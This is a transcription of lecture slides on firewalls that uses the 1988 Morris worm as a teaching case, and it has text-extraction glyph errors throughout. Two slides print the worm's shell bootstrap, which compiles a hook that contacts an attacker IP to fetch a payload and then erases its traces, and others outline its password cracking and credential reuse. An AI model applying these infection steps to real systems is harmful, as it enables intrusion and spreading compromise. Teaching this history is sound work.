Firewalls and Classical Network Security

Transcription

1 Firewalls and Classical Network Security

2 Real stories from the news SERVER- SIDE ATTACKS

3 A Story from the News A program infected thousands of computers Vic:m computers were mostly in one country Reported to cost in the millions of $$$ Some computers were infected many :mes Event caused major service disrup:ons Many of the world s top security experts rushed to analyze the program

4 The story of a malicious program Cross- plaform Targeted vulnerabili:es in mul:ple programs on two of the most popular device plaforms Two- step infec:on process First stage establishes a foothold on the machine, then downloads the second stage Second stage handles propaga:on

5 The story of a malicious program Propaga:on mechanisms Cracked user passwords, used them to spread Exploited password re- use between sites Harvested target addresses from users files Tried to limit re- infec:ons of the same machine Re- tried to infect new vic:ms aner a :meout

6 The story of a malicious program Used an:- forensics / an:- debugging Encrypted data held in memory Decrypted data on- demand before use Deleted itself from the file system Used fork() periodically to get a new process ID

7 The story of a malicious program AWempted to collect data & send it to a central loca:on in the network Owner of the central computer had no idea it was being used this way

8 When did this happen? A B C D E F

9 Two- Step Infec:on AWacking machine installs the hook program on the vic:m Hook program downloads 2 nd - stage payload from the awacking machine, runs it

10 Infec:on Step 1: Installing the Hook AWacking machine gets a shell on the vic:m machine, either through a sonware exploit or a cracked password

11 Infec:on Step 1: Installing the Hook AWacking machine uploads the hook program source, compiles it, and covers its tracks PATH=/bin:/usr/bin:/usr/ucb! cd /usr/tmp! sed int zz/q > (random).c;! (source code of hook program)! int zz;! cc o (random) (random).c;./(random) (attacker IP) (attacker port) (cookie);! rm f (random) (random).c; echo DONE!

12 Infec:on: Step 2 AWacking machine waits for the vic:m to connect on the given TCP port

13 Infec:on: Step 2 Hook program phones home to the specified IP address and port number to download the 2 nd - stage payload. It provides the cookie to authen:cate itself.

14 Infec:on: Step 2 Hook program downloads object files for 2 nd - stage payload (random)1.o (random)2.o

15 Infec:on: Step 2 Hook program runs the execl() system call, to replace itself with a shell

16 Infec:on: Step 2 AWacker machine sends commands to the shell Compile and link the 2 nd - stage object code, then run it! PATH=/bin:/usr/bin:/usr/ucb! rm -f sh! if [ -f sh ]! then! P=(random)! else! P=sh! Fi!! cc -o $P (random)1.o!./$p p $$ (random)1.o (random)2.o (random).c!! (try (random)2.o if necessary...)!!

17 Infec:on Spread: User Accounts Program tries to spread by guessing passwords It can read hashed passwords on the system Looks up each account s profile Username Real name Tries to guess passwords based on these Password = user name Password = real name etc

18 Infec:on Spread: User Accounts Program also includes a list of dic:onary words Tries every word in the dic:onary Eventually tries dic:onary words against all hashed passwords

19 Infec:on Spread: User Accounts Program digs through users data to find other accounts on other systems Tries to log in to those systems using same password When successful, it infects the new system

20 Limi:ng Re- infec:ons Program awempts TCP connec:on to localhost on a hard- coded port If no response, listen() on that port instead If there is a response, client and server figure out who should exit() and who should keep running

21 When did this happen? A B C D E F

22 When did this happen? A B C D E The Morris Worm F For more informa:on, read Gene Spafford s excellent 1988 tech report: E.H. Spafford. The Internet Worm: An Analysis. Purdue Technical Report CSD- TR hwp://spaf.cerias.purdue.edu/tech- reps/823.pdf

23 The Morris Worm (1988) Infected 100 s or 1000 s of Sun 3 s and VAX s running BSD Unix Exploited flaws in sendmail and fingerd Caused many servers to go offline Led to the crea:on of CERT at CMU and the rise in popularity of firewalls

24 NETWORK DEFENSE: FIREWALLS

25 Background: The Client- Server Era Corporate Network Safe, or at least controlled Users are (mostly) benign SoNware is onen vulnerable Vendors are onen unresponsive to security issues

26 Background: The Client- Server Era The Internet: Early Days A network of networks Big companies Governments Universi:es LiWle or no administra:ve control SoNware onen vulnerable Vendors onen unresponsive Corporate Network Safe, or at least controlled Users are (mostly) benign SoNware is onen vulnerable Vendors are onen unresponsive to security issues

27 Background: The Client- Server Era The Internet: Growing Pains More organiza:ons connected More malicious users than ever before Malicious users may try to break in to your servers Corporate Network Safe, or at least controlled Users are (mostly) benign SoNware is onen vulnerable Vendors are onen unresponsive to security issues More like the Internet of 5-10 years prior

28 Goal: Keep the bad guys out Firewall Acts like a gatekeeper or bouncer at the edge of the corporate network Gives internal users full access to the internal network Easier than patching / fixing every vulnerable program on every internal machine

29 4 (or 5) Kinds of Firewalls Stateless Packet Filter Stateful Packet Filter Network Address Transla:on (NAT) Applica:on Layer Gateway Bridged Firewall

30 Packet Filter / Screening Router Stateless Firewall Examine each packet in isola:on Accept, reject, or drop based on network and transport layer headers (e.g. IP addresses, ports) Fast, simple routers can do this at extremely high speed

31 Firewall Rules: Example Web Server Mail Server Worksta:ons *

32 Firewall Rules: Example Web Server Worksta:ons * Mail Server IF (srcip == AND srcport == 80) OR (ds:p == AND dstport == 80) ACCEPT IF (srcip == AND srcport == 25) OR (ds:p == AND dstport == 25) ACCEPT IF (srcip in * AND dstport < 1024) OR (ds:p in * AND srcport < 1024) ACCEPT ELSE DROP

33 Problems with Stateless Firewalls If we want to allow connec:ons on a given port, we add a rule to allow packets on that port AWacker can use this to sneak through the FW How?

34 Stateful Firewall Idea: Pay awen:on to Transport layer Keep track of currently open connec:ons Allow packets from those connec:ons How to do it?

35 Stateful Firewall Idea: Pay awen:on to Transport layer Keep track of currently open connec:ons Allow packets from those connec:ons How to do it? TCP SYN / SYN ACK à New connec:on opening TCP FIN / FIN ACK à Old connec:on closing

36 Network Address Transla:on (NAT) Src IP: Src Port: Dst IP: Dst Port: 80 Originally designed to save IP space Allows many internal hosts to share one external IP address NAT router translates between internal and external addresses Replaces clients internal IP s with its own external address Replaces clients ports with its own ports Keeps track of all open connec:ons in order to route incoming packets correctly

37 Network Address Transla:on (NAT) Src IP: Src Port: Dst IP: Dst Port: 80 Src IP: Src Port: Dst IP: Dst Port: 80 Originally designed to save IP space Allows many internal hosts to share one external IP address NAT router translates between internal and external addresses Replaces clients internal IP s with its own external address Replaces clients ports with its own ports Keeps track of all open connec:ons in order to route incoming packets correctly

38 Network Address Transla:on (NAT)??? Also has some nice benefits for security External awacker can t even address packets to internal hosts without a pre- exis:ng connec:on Some drawbacks, too Protocols that include IP addresses or ports in the message body may run into trouble

39 Applica:on Layer Gateway Gateway has two network interfaces One on each network (internal, external) No direct communica:on across the boundary All messages must go to the gateway Gateway decides whether to allow or deny based on applica:on- layer content

40 Applica:on Layer Gateway Src IP: Src Port: Dst IP: Dst Port: 25

41 Applica:on Layer Gateway Src IP: Src Port: 3456 Dst IP: Dst Port: 25 Src IP: Src Port: Dst IP: Dst Port: 25

42 Applica:on Layer Gateway??? L Good for security AWacker can t send packets to internal hosts AWacker can t get messages to internal network (without going through gateway) Common applica:ons Mail (SMTP) Web proxies (e.g. Squid, Websense) Other proxies (SOCKS)

43 Applica:on Layer Gateway??? L??? L Src IP: Src Port: Dst IP: Dst Port: 25 Mixed blessing: SoNware on the internal network must be aware of the gateway Otherwise its messages can t get out Costly: Requires lots of sonware, CPU, RAM compared to network- layer firewalls Also, more awack surface on the FW

44 Bridging Firewall Gateway has two network interfaces One on each network (internal, external) But no IP addresses AWackers can t directly address packets to it from outside the LAN Gateway acts like a bump in the wire Drops or re- routes disallowed packets Passes packets allowed by policy Example: Texas A&M Drawbridge (1992)

45 Limita:ons of Border Protec:on What are the assumppons underlying this approach? What could spll go wrong?

46 Limita:ons of Border Protec:on Hard, crunchy shell Harder for awackers on the Internet to break in

47 Limita:ons of Border Protec:on SoS, chewy center An awacker who does get in is rela:vely unimpeded

48 Answer? Host- based Firewalls Packet filters everywhere!

49 Answer? Intrusion Detec:on Constantly monitor for bad or suspicious behavior. (The price of security is eternal vigilance?)

50 Remaining Challenges Mobility Devices move around (laptops, tablets, phones) Client- side awacks AWackers don t always have to ini:ate contact Overwhelming popularity of web (port 80) and (port 25) Used by good traffic as well as for awacks

51 Lab 01: pcap Analysis Goals for today: Log into your VM Remember your password! Analyze pcap files in Wireshark Begin wri:ng code

52 Lab01: Ques:ons TFTP What file(s) were fetched? How big were they? What was the client s IP address? HTTP What URL s were requested? What browser was used? What was the name of the server? What was the server s IP address? What s the MD5 hash of each file that was downloaded? SMTP Who sent the (s)? To whom were they sent? What was the name of the server?